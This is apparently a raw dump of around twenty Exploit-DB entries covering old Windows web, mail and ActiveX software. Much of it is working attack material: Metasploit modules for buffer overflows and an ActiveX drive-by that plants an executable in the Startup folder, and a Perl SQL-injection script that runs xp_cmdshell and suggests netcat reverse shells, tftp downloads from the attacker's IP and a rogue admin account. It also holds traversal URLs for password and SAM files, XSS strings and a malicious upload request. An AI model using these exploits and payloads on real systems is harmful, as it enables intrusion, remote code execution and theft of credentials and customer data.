deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20248
Description: SmartWin CyberOffice Shopping Cart 2.0 - Client Information Disclosure
Type: remote
Platform: windows
Date: 2000-10-02
Author: DCIST

Exploit:
source: https://www.securityfocus.com/bid/1734/info

Smartwin Technology CyberOffice Shopping Cart is a shopping cart application for e-commerce enabled websites running Windows NT 4.0 or 2000.

It is possible for a remote user to gain read access to the _private directory on a website running CyberOffice Shopping Cart 2.0. By default the _private directory has world readable permissions. The Microsoft Access Database which contains confidential client details (such as customer orders and unencrypted credit card information) is stored in the _private directory and is thus accessible to attackers. An attacker need only request "http://target/_private/shopping_cart.mdb" with a browser to access it. 

http://target/_private/shopping_cart.mdb
Exploit-DB #20247
Description: Smartwin Technology CyberOffice Shopping Cart 2.0 - Price Modification
Type: remote
Platform: windows
Date: 2000-10-02
Author: Delphis Consulting

Exploit:
source: https://www.securityfocus.com/bid/1733/info

Smartwin Technology CyberOffice Shopping Cart is a shopping cart application for e-commerce enabled websites running Windows NT 4.0 or 2000.

The order form CyberOffice Shopping Cart utilizes can be easily modified by downloading the form locally and then resubmitting it to the target server containing the new values. Unit item prices can be modified to any arbitrary value. 

<input type="hidden" name="Item" value="Specified Value">
Exploit-DB #16605
Description: Snapshot Viewer for Microsoft Access - ActiveX Control Arbitrary File Download (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: ms08_041_snapshotviewer.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
			'Description'    => %q{
					This module allows remote attackers to place arbitrary files on a users file system
				via the Microsoft Office Snapshot Viewer ActiveX Control.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2008-2463' ],
					[ 'OSVDB', '46749'],
					[ 'MSB', 'MS08-041' ],
					[ 'BID', '30114' ],
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 07 2008'))

		register_options(
			[
				OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vname  = rand_text_alpha(rand(100) + 1)
		exe    = rand_text_alpha(rand(20) + 1)

		content = %Q|
		<html>
		<head>
			<script>
			try {
				var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
				#{vname}.SnapshotPath = "#{payload_url}";
				#{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
				#{vname}.PrintSnapshot();
			} catch( e ) { window.location = 'about:blank' ; }
			</script>
		</head>
		</html>
				|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, content)

		handler(cli)

	end

end
Exploit-DB #21030
Description: SnapStream Personal Video Station 1.2 a - PVS Directory Traversal
Type: remote
Platform: windows
Date: 2001-07-26
Author: john@interrorem.com

Exploit:
source: https://www.securityfocus.com/bid/3100/info

Snapstream Personal Video Station is an application for Microsoft Windows which allows users to record video output on their PC and view it at a later time, locally or via an HTTP interface. The Snapstream PVS web interface runs on port 8129.

Snapstream PVS is prone to attacks which allow a remote user to break out of the wwwroot and browse the filesystem at large. The remote attacker may accomplish this by crafting a web request which uses '../' sequences to traverse directories and access arbitrary web-readable files.

The impact of exploiting this vulnerability is that confidential information may be disclosed to the attacker and follow-up attacks against the host may occur.

If exploited conjunction with Bugtraq ID 3101, a remote attacker can gain the administrative password for Snapstream.

http://home.victim.com:8080/../../../../autoexec.bat

http://home.victim.com:8080/../../../winnt/repair/sam
Exploit-DB #21035
Description: SnapStream PVS 1.2 - Plaintext Password
Type: remote
Platform: windows
Date: 2001-07-26
Author: John

Exploit:
source: https://www.securityfocus.com/bid/3101/info

Snapstream Personal Video Station is an application for Microsoft Windows which allows users to record video output on their PC and view it at a later time, locally or via an HTTP interface. The Snapstream PVS web interface runs on port 8129.

The PVS service stores passwords and user information in plaintext format. Additional information is also contained in the same file which stores passwords, such as the location of the base directory for the service.

This would normally only be a local issue but in combination with other known vulnerabilities the file which stores passwords and user information is easily obtained.

Due to the issue discussed as Bugtraq ID 3100, the passwords can be disclosed to remote attackers. 

http://home.victim.com:8080/../ssd.ini
Exploit-DB #23529
Description: SnapStream PVS Lite 2.0 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-01-06
Author: Rafel Ivgi

Exploit:
source: https://www.securityfocus.com/bid/9375/info

SnapStream PVS Lite is prone to a cross-site scripting vulnerability. 

An attacker could exploit this issue by enticing a victim user to follow a malicious link to a system hosting the software that contains embedded HTML and script code. The embedded code may be rendered in the web browser of the victim user.

This could be exploited to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

http://www.example.com/?"><script>alert('XSS')</script>
Exploit-DB #30
Description: Snitz Forums 3.3.03 - Remote Command Execution
Type: remote
Platform: windows
Date: 2003-05-12
Author: anonymous

Exploit:
#!/usr/bin/perl

use Socket;

print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n";
print "You accept full responsibility for your actions by using this script.\n";
print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n";

print "\nWeb server? [www.enterthegame.com]: ";
my $webserver = <STDIN>;
chomp $webserver;
if( $webserver eq "" )
{
$webserver = "www.enterthegame.com";
}

print "\nWeb server port? [80]: ";
my $port = <STDIN>;
chomp $port;
if( $port eq "" )
{
$port = 80;
}

print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: ";
my $path = <STDIN>;
chomp $path;
if( $path eq "" )
{
$path = "/forum/register.asp";
}

print "\nCommand to execute non-interactively\n";
print " Example commands: tftp -i Your.IP.Here GET nc.exe\n";
print " nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHere\n";
print " or: net user h4x0r /add | net localgroup Administrators h4x0r /add\n";
print "Your command: ";
my $command = <STDIN>;
chomp $command;
$command =~ s/\ /\%20/g;

if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef )
{
print "Error connecting to $webserver\n";
exit( 0 );
}
else
{
my $data1 = $path . "\?mode\=DoIt";
my $data2 = "Email\=\'\%20exec\%20master..xp_cmdshell\%20\'" . $command. "\'\%20--\&Name\=snitz";
my $length = length( $data2 );

print FILEHANDLE "POST $data1 HTTP/1.1\n";
if( $port == 80 )
{
print FILEHANDLE "Host: $webserver\n";
}
else
{
print FILEHANDLE "Host: $webserver:$port\n";
}
print FILEHANDLE "Accept: */*\n";
print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n";
print FILEHANDLE "Keep-Alive: 300\n";
print FILEHANDLE "Referer: http:\/\/$webserver$path\?mode\=Register\n";
print FILEHANDLE "Content-Type: application/x-www-form-urlencoded\n";
print FILEHANDLE "Content-Length: $length\n\n";
print FILEHANDLE "$data2";

print "\nSQL injection command sent. If you are waiting for a shell on your listening\n";
print "netcat, hit \"enter\" a couple of times to be safe.\n\n";

close( FILEHANDLE );
}

sub open_TCP
{
my( $FS, $dest, $port ) = @_;

my $proto = getprotobyname( 'tcp' );
socket( $FS, PF_INET, SOCK_STREAM, $proto );
my $sin = sockaddr_in( $port, inet_aton( $dest ));
connect( $FS, $sin ) || return undef;

my $old_fh = select( $FS );
$| = 1;
select( $old_fh );
return 1;
}

# milw0rm.com [2003-05-12]
Exploit-DB #26424
Description: Snoopy 0.9x/1.0/1.2 - Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2005-10-26
Author: D. Fabian

Exploit:
source: https://www.securityfocus.com/bid/15213/info

Snoopy is prone to a vulnerability that lets attackers execute arbitrary commands because the application fails to properly sanitize user-supplied input.

This issue may facilitate unauthorized remote access to the application in the context of the webserver. 


https://www.%22;+echo+'hello'+%3E+test.txt

Passing this URI to a script that uses a vulnerable version of Snoopy will result in a file called 'test.txt' containing 'hello'.
Exploit-DB #22609
Description: Snowblind 1.0/1.1 - Web Server File Disclosure
Type: remote
Platform: windows
Date: 2003-05-16
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7618/info

It has been announced that Snowblind Web Server is vulnerable to a condition that may result in the disclosure of potentially sensitive information.

According to the report, Snowblind Web Server does not perform correct access validation on client requested paths which include "../" character sequences.

http://www.example.com/../../windows/system.ini
http://www.example.com/internal.sws?../../windows/system.ini
Exploit-DB #20616
Description: soft lite serverworx 3.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-07
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2346/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ServerWorx. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose an arbitrary directory. 

http://target/../[file outside web root]

http://target/.../[file outside web root]
Exploit-DB #16819
Description: SoftiaCom wMailServer 1.0 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: wmailserver.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0
				(SMTP) via a SEH frame overwrite.
			},
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-2287' ],
					[ 'OSVDB', '17883' ],
					[ 'BID', '14213' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Platform'       => 'win',
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English All',   		{ 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', 		{ 'Ret' => 0x71aa32ad } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 11 2005 '))

		register_options([ Opt::RPORT(25) ], self.class)
	end

	def exploit
		connect

		filler = " " + rand_text_alpha_upper(5115)
		seh = generate_seh_payload(target.ret)
		sploit = filler + seh + rand_text_alpha_upper(200)

		print_status("Trying target #{target.name}...")
		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #1463
Description: SoftiaCom wMailServer 1.0 - SMTP Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2006-02-01
Author: y0

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wmailserver_smtp;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

	'Name'     => 'SoftiaCom WMailserver 1.0 SMTP Buffer Overflow',
	'Version'  => '$Revision: 1.1 $',
	'Authors'  => [ 'y0 [at] w00t-shell.net', ],
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp' ],
	'Priv'  => 0,
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 25],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },
	'AutoOpts' => { 'EXITFUNC' => 'thread' },
	'Payload' =>
	  {
		'Space'     => 600,
		'BadChars'  => "\x00\x0a\x0d\x20:=+\x22",
		'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
		'Keys'      => ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
	This module exploits a stack overflow in SoftiaCom WMailserver 1.0 (SMTP)
	via a SEH frame overwrite.
}),

	'Refs'  =>
	  [
		['CVE', 'CAN-2005-2287'],
		['BID', '14213'],
	  ],
	'Targets' =>
	  [
		['Windows NT 4.0 English SP4/SP5/SP6', 0x776a1799],
		['Windows 2000 English ALL', 0x75022ac4],
		['Windows XP English SP0/SP1', 0x71aa32ad],
	  ],
	'Keys' => ['smtp'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit
{
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target = $self->Targets->[$target_idx];

	if (! $self->InitNops(128)) {
		$self->PrintLine("[*] Failed to initialize the nop module.");
		return;
	}

	my $splat  = Pex::Text::UpperCaseText(5117);

	my $sploit =
	  " ". $splat. "\xeb\x06". pack('V', $target->[1]).
	  $shellcode. "\r\n\r\n";

	$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$s->Send($sploit);
	$self->Handler($s);
	$s->Close();
	return;
}

1;

# milw0rm.com [2006-02-01]
Exploit-DB #25621
Description: software602 602 lan suite 2004 - Directory Traversal
Type: remote
Platform: windows
Date: 2005-05-05
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/13519/info

602 LAN Suite 2004 is reported prone to a directory traversal vulnerability.

It is reported that an attacker can exploit this issue to detect the presence of files on a computer and potentially cause a denial of service condition.

A successful attack may aid in further attacks against the system or lead to a crash due to resource exhaustion. 

http://www.example.com/mail?A=/../../../../../../../[file]
Exploit-DB #25092
Description: Software602 602 Lan Suite 2004 2004.0.04.1221 - Arbitrary File Upload
Type: remote
Platform: windows
Date: 2005-02-08
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/12495/info

602 Lan Suite 2004 is reportedly affected by a vulnerability regarding the uploading of file attachments. This issue is due to the application failing to properly sanitize the names of file attachments before upload. A malicious user could exploit this vulnerability using directory traversal attacks to upload a file to an arbitrary location accessible by the affected server.

This vulnerability could lead to the execution of a malicious file on the server hosting the application.

602 Lan Suite 2004 version 2004.0.04.1221 is reportedly vulnerable; other versions may also be affected. 

POST /mail HTTP/1.0
Host: localhost
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]15985
Content-length: 540

----------------------------[PII_REDACTED]15985
Content-Disposition: form-data; name="U"

6E[PII_REDACTED]258F86310B04D7
----------------------------[PII_REDACTED]15985
Content-Disposition: form-data; name="A"

ATTACHMENTS
----------------------------[PII_REDACTED]15985
Content-Disposition: form-data; name="FILENAME"; filename="../../../cgi-bin/a.txt"
Content-Type: text/plain

Test File
----------------------------[PII_REDACTED]15985
Content-Disposition: form-data; name="ATTACH"

Attach
----------------------------[PII_REDACTED]15985--
Exploit-DB #23776
Description: Software602 602Pro LAN Suite - Web Mail Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-03-01
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9777/info

It has been reported that 602Pro LAN Suite Web Mail is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user input supplied via the URI.

Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.

http://www.example.com/index.html/<script>alert('XSS')</script>
Exploit-DB #23185
Description: software602 602pro lan suite 2003 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-09-25
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8701/info

A problem with the handling of directory traversal requests has been identified in Software602 602Pro LAN SUITE 2003. Because of this, an attacker may be able to gain access to potentially sensitive information. 

http://www.example.com/mail/m602cl3w.exe?A=GetFile&USER=7921604D7A587937986E24242C0588&DL=0&FN=../../../boot.ini

where USER signifies the current webmail user's username.
Exploit-DB #24024
Description: Softwin BitDefender - AvxScanOnlineCtrl COM Object Arbitrary File Upload / Execution
Type: remote
Platform: windows
Date: 2004-04-19
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10174/info

Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by a file upload and execution vulnerability. This issue is due to a design error that allows a remote user to specify a file to be uploaded and executed on a system running the affected software.

This issue may be leveraged by a remote attacker to upload and execute arbitrary files on an affected system; most likely resulting in unauthorized access. Other attackers are also possible.

<HTML>
<OBJECT id=seemycomputer codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1 hspace=0 vspace=0 align="top" classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA width=405 height=180>
<PARAM NAME="_ExtentX" VALUE="6614">
<PARAM NAME="_ExtentY" VALUE="4498">
<PARAM NAME="_StockProps" VALUE="9">
<PARAM NAME="ForeColor" VALUE="0">
<PARAM NAME="BackColor" VALUE="16777215"></OBJECT>
</HTML>
Exploit-DB #24025
Description: Softwin BitDefender - AvxScanOnlineCtrl COM Object Information Disclosure
Type: remote
Platform: windows
Date: 2004-04-19
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10175/info

Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by an information disclosure vulnerability. This issue is due to a design error that allows a remote user to execute a method in the offending object that provides access to unauthorized information.

This issue would allow an attacker to gain access system information that may be used to aid in further attacks.

<OBJECT id=seemycomputer
codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,
1
hspace=0 vspace=0 align="top"
classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA
width=405 height=180>
<PARAM NAME="_ExtentX" VALUE="6614">
<PARAM NAME="_ExtentY" VALUE="4498">
<PARAM NAME="_StockProps" VALUE="9">
<PARAM NAME="ForeColor" VALUE="0">
<PARAM NAME="BackColor" VALUE="16777215"></OBJECT>